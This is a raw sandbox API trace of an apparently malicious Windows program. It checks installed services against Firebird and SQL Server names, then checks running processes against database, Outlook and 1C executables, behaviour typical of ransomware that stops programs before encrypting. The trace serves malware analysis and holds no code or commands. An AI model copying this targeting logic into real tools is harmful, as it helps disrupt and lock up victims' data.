	[0104.428] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0104.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0104.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0104.428] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0104.428] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0104.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0104.428] lstrlenW (lpString="AudioSrv") returned 8
	[0104.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0104.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0104.428] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0104.428] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0104.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0104.428] lstrlenW (lpString="BFE") returned 3
	[0104.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0104.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0104.428] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0104.429] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0104.429] lstrlenW (lpString="CryptSvc") returned 8
	[0104.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0104.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0104.429] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0104.429] lstrlenW (lpString="CscService") returned 10
	[0104.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0104.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0104.429] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0104.429] lstrlenW (lpString="DcomLaunch") returned 10
	[0104.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0104.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0104.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0104.429] lstrlenW (lpString="Dhcp") returned 4
	[0104.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0104.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0104.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0104.429] lstrlenW (lpString="Dnscache") returned 8
	[0104.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0104.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0104.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0104.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0104.430] lstrlenW (lpString="DPS") returned 3
	[0104.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0104.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0104.430] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0104.430] lstrlenW (lpString="eventlog") returned 8
	[0104.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0104.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0104.430] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0104.430] lstrlenW (lpString="EventSystem") returned 11
	[0104.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0104.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0104.430] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0104.430] lstrlenW (lpString="gpsvc") returned 5
	[0104.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0104.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0104.430] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0104.430] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0104.430] lstrlenW (lpString="iphlpsvc") returned 8
	[0104.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0104.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0104.430] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0104.430] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0104.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0104.431] lstrlenW (lpString="LanmanServer") returned 12
	[0104.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0104.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0104.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0104.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0104.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0104.431] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0104.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0104.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0104.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0104.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0104.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0104.431] lstrlenW (lpString="lmhosts") returned 7
	[0104.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0104.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0104.431] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0104.431] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0104.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0104.431] lstrlenW (lpString="MMCSS") returned 5
	[0104.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0104.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0104.431] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0104.431] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0104.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0104.431] lstrlenW (lpString="MpsSvc") returned 6
	[0104.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0104.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0104.431] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0104.431] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0104.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0104.432] lstrlenW (lpString="Netman") returned 6
	[0104.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0104.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0104.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0104.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0104.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0104.432] lstrlenW (lpString="netprofm") returned 8
	[0104.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0104.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0104.432] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0104.432] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0104.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0104.432] lstrlenW (lpString="NlaSvc") returned 6
	[0104.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0104.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0104.432] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0104.432] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0104.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0104.432] lstrlenW (lpString="nsi") returned 3
	[0104.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0104.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0104.432] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0104.432] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0104.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0104.432] lstrlenW (lpString="PcaSvc") returned 6
	[0104.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0104.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0104.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0104.433] lstrlenW (lpString="PlugPlay") returned 8
	[0104.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0104.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0104.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0104.433] lstrlenW (lpString="Power") returned 5
	[0104.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0104.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0104.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0104.433] lstrlenW (lpString="ProfSvc") returned 7
	[0104.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0104.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0104.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0104.433] lstrlenW (lpString="RpcEptMapper") returned 12
	[0104.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0104.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0104.433] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0104.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0104.433] lstrlenW (lpString="RpcSs") returned 5
	[0104.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0104.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0104.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0104.434] lstrlenW (lpString="SamSs") returned 5
	[0104.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0104.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0104.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0104.434] lstrlenW (lpString="Schedule") returned 8
	[0104.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0104.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0104.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0104.434] lstrlenW (lpString="SENS") returned 4
	[0104.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0104.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0104.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0104.434] lstrlenW (lpString="ShellHWDetection") returned 16
	[0104.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0104.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0104.434] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0104.434] lstrlenW (lpString="Spooler") returned 7
	[0104.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0104.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0104.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0104.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0104.434] lstrlenW (lpString="swprv") returned 5
	[0104.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0104.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0104.435] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0104.435] lstrlenW (lpString="SysMain") returned 7
	[0104.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0104.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0104.435] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0104.435] lstrlenW (lpString="Themes") returned 6
	[0104.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0104.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0104.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0104.435] lstrlenW (lpString="TrkWks") returned 6
	[0104.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0104.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0104.435] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0104.435] lstrlenW (lpString="UxSms") returned 5
	[0104.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0104.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0104.435] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0104.435] lstrlenW (lpString="VSS") returned 3
	[0104.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0104.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0104.435] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0104.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0104.435] lstrlenW (lpString="WdiServiceHost") returned 14
	[0104.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0104.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0104.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0104.436] lstrlenW (lpString="WdiSystemHost") returned 13
	[0104.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0104.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0104.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0104.436] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0104.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0104.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0104.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0104.436] lstrlenW (lpString="Winmgmt") returned 7
	[0104.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0104.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0104.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0104.436] lstrlenW (lpString="WPDBusEnum") returned 10
	[0104.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0104.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0104.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0104.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0104.436] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0104.436] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220
	[0104.440] Process32FirstW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0104.441] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0104.442] lstrlenW (lpString="System") returned 6
	[0104.442] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0104.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0104.442] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0104.442] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0104.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0104.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0104.442] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0104.442] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0104.443] lstrlenW (lpString="smss.exe") returned 8
	[0104.443] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0104.443] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0104.443] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0104.443] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0104.443] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0104.443] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0104.443] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0104.444] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0104.444] lstrlenW (lpString="csrss.exe") returned 9
	[0104.444] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0104.444] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0104.444] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0104.444] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0104.445] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0104.445] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0104.445] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0104.445] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0104.445] lstrlenW (lpString="wininit.exe") returned 11
	[0104.445] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0104.446] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0104.446] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0104.446] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0104.446] lstrlenW (lpString="csrss.exe") returned 9
	[0104.447] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0104.447] lstrlenW (lpString="winlogon.exe") returned 12
	[0104.447] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0104.448] lstrlenW (lpString="services.exe") returned 12
	[0104.448] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0104.449] lstrlenW (lpString="lsass.exe") returned 9
